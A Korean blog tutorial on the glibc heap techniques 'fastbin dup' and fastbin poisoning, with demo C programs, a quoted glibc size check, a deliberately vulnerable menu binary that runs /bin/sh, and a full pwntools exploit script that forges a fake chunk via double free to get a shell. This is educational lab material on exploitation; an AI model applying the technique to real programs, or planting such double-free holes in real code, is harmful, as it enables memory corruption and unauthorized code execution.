본문 바로가기
Pwnable/Techniques

Fastbin dup

by Anatis 2021. 2. 23.

Fastbin dup은 Double Free 버그를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격 기법이다. 이를 이용하면 fastbin의 FD 포인터를 조작해 임의 주소에 힙 청크를 할당할 수 있다.

 

그러나 이를 방지하기 위해 FD 포인터가 가리키는 영역의 size와 할당하려는 bin의 크기를 비교하는 코드가 존재한다.

 

fastbin_dup.c

// gcc -o fastbin_dup fastbin_dup.c
#include <stdio.h>
#include <stdlib.h>

int main()
{
    char *ptr1 = (char *)malloc(0x40);
    char *ptr2 = (char *)malloc(0x40);

    free(ptr1);
    free(ptr2);
    free(ptr1);

    fprintf(stderr, "malloc : %p\n", malloc(0x40));
    fprintf(stderr, "malloc : %p\n", malloc(0x40));
    fprintf(stderr, "malloc : %p\n", malloc(0x40));

    return 0;
}

위 코드는 ptr1을 두 번 해제해 fastbin freelist에 두 개의 동일한 주소를 삽입한 후 malloc 함수가 리턴하는 포인터를 확인하는 예제이다.

 

free 함수가 호출된 이후 첫 번째와 세 번째에 할당된 힙 청크의 주소가 동일한 것을 확인할 수 있다.

 

                                                                                                                                                                                      

Fastbin dup & poisoning

fastbin poisoning은 해제된 fastbin 힙 청크의 FD를 조작해 임의의 주소에 힙 청크를 할당하는 공격 기법이다.

 

fastbin_dup1.c

// gcc -o fastbin_dup1 fastbin_dup1.c
#include <stdio.h>
#include <stdlib.h>

long win;

int main()
{
    long *ptr1, *ptr2, *ptr3, *ptr4;

    *(&win - 1) = 0x31;

    ptr1 = malloc(0x20);
    ptr2 = malloc(0x20);

    free(ptr1);
    free(ptr2);
    free(ptr1);

    ptr1 = malloc(0x20);
    ptr2 = malloc(0x20);

    ptr1[0] = &win - 2;

    ptr3 = malloc(0x20);
    ptr4 = malloc(0x20);
    ptr4[0] = 1;

    if(win)
        printf("win\n");
    
    return 0;
}

위 코드는 &win - 1에 할당할 공격에 사용할 fastbin의 size인 0x31을 대입한 후 32 바이트 크기의 힙 청크를 할당하고 해제하는 예제 코드이다.

 

Double Free 버그가 발생하고 fastbin freelist에 두 개의 동일한 힙 청크 주소가 삽인된다.

이후 ptr1의 FD에 &win - 2로 조작한다. 그리고 조작된 FD의 값이 fastbin freelist에서 참조하여 할당하도록 네번의 할당 요청을 한 후 ptr4를 참조해 win 전역 변수의 값을 조작한다.

 

fastbin의 크기를 가진 힙을 할당할 때 검증 하는 코드

/* Get size, ignoring use bits */
#define chunksize(p)         ((p)->size & ~(SIZE_BITS))

idx = fastbin_index (nb);
...
if (victim != 0)
{
    if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
        errstr = "malloc(): memory corruption (fast)";
        errout:
           malloc_printerr (check_action, errstr, chunk2mem (victim), av);
           return NULL;
    }
}

chunksize 매크로의 인자는 할당 요청이 들어온 힙 청크의 주소이다.

chunksize 매크로는 인자로 전달된 힙 청크의 크기를 구한다. 이는 할당하려는 힙 청크의 크기가 fastbin과 일치하는지 검증한다.

 

위 예제에서 &win - 1에 0x31 값을 씀으로써 위 조건을 만족하고, ptr4는 win 전역 변수 위치에 할당된다. 이 처럼 메모리 할당자가 의도하지 않은 힙 청크를 Fake chunk라고 한다.

 

ptr4를 할당하기 전에 win 전역 변수에 Fake chunk를 구성한 모습이다.

win 전역 변수에 할당하기 위해 size를 0x31로 조작한 것을 확인할 수 있다.

 

fastbin_dup1의 실행 결과이다.

 

                                                                                                                                                                                      

fastbin_dup2.c

// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[16];
int overwrite_me;
int main()
{
    int ch, idx;
    int i = 0;
    char *ptr[10];

    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);

    printf("Name : ");
    read(0, name, 16);
    while(1) {
        printf("> ");
        scanf("%d", &ch);

        switch(ch) {
            case 1:
                if(i >= 10) {
                    printf("Do not overflow\n");
                    exit(0);
                }
                ptr[i] = malloc(32);
                printf("Data: ");
                read(0, ptr[i], 32-1);
                i++;
                break;
            
            case 2:
                printf("idx: ");
                scanf("%d", &idx);
                free(ptr[idx]);
                break;
            
            case 3:
                if(overwrite_me == 0xDEADBEEF) {
                    system("/bin/sh");
                }
                break;
            
            default:
                break;
        }
    }
    return 0;
}

 

위 코드는 32 바이트 크기의 힙을 할당, 해제할 수 있고 데이터를 입력할 수 있다.

 

익스플로잇 시나리오

1. 검증 우회를 위해 힙을 두 개 할당

2. old와 p 포인터를 다르게 하여 Double Free를 발생

3. Double Free가 발생하여 FD를 조작할 수 있다. 데이터를 입력할 때 할당할 overwrite_me 전역 변수의 주소를 FD 위치에 입력.

4. 네 번째 할당 때 조작한 FD를 참조하여 할당하기 때문에 overwrite_me 전역 변수에 힙 청크가 할당된다.

overwrite_me 전역 변수에 힙 청크가 할당되면 0xDEADBEEF 값을 입력하여 3번 메뉴를 통해 셸을 획득할 수 있다.

 

 

name 전역 변수에 Fake chunk를 구성한 모습이다. 

fastbin에서는 prev_size에 대한 검증이 없기 때문에 Fake chunkdml prev_size는 0을 주었다. 이후에 할당하려는 힙의 크기는 0x20이기 때문에 힙 청크의 메타데이터 크기를 포함한 0x31을 size로 주었다.

 

fakechunk_name = elf.symbols['name']

add(p64(fakechunk_name))    # FD overwrite
add('AAAA')
add('CCCC')
add(p64(0xDEADBEEF))        # Arbitrary allocate, write

이제 위 코드와 같이 FD에 fake chunk인 name 전역변수 주소로 조작하고 네 번째 힙을 할당할때 overwrite_me 전역 변수에 0xDEADBEEF를 입력하면 3번 메뉴를 통해 셸을 획득 가능하다.

 

overwrite_me 전역변수에 DEADBEEF가 쓰여진 것을 확인할 수 있다.

이후 3번 메뉴를 통해 셸을 획득한 모습이다.

 

exploit code

from pwn import *

p = process('./fastbin_dup2')
elf = ELF('./fastbin_dup2')

def add(data):
    print p.sendlineafter('>', '1')
    print p.sendlineafter(':', str(data))

def free(idx):
    print p.sendlineafter('>', '2')
    print p.sendlineafter(':', str(idx))

def getshell():
    print p.sendlineafter('>', '3')

fakechunk = p64(0)
fakechunk += p64(0x31)
print p.sendlineafter('Name :', fakechunk)

add('AAAA') # 0
add('AAAA') # 1

free(0)
free(1)
free(0)

fakechunk_name = elf.symbols['name']

add(p64(fakechunk_name))    # FD overwrite
add('AAAA')
add('CCCC')
add(p64(0xDEADBEEF))        # Arbitrary allocate, write

getshell()

p.interactive()

'Pwnable > Techniques' 카테고리의 다른 글

Unsafe unlink  (0) 2021.03.01
Fastbin dup consolidate  (0) 2021.02.28
Double Free Bug  (0) 2021.02.23
_int_free  (0) 2021.02.22
_int_malloc  (0) 2021.02.22

댓글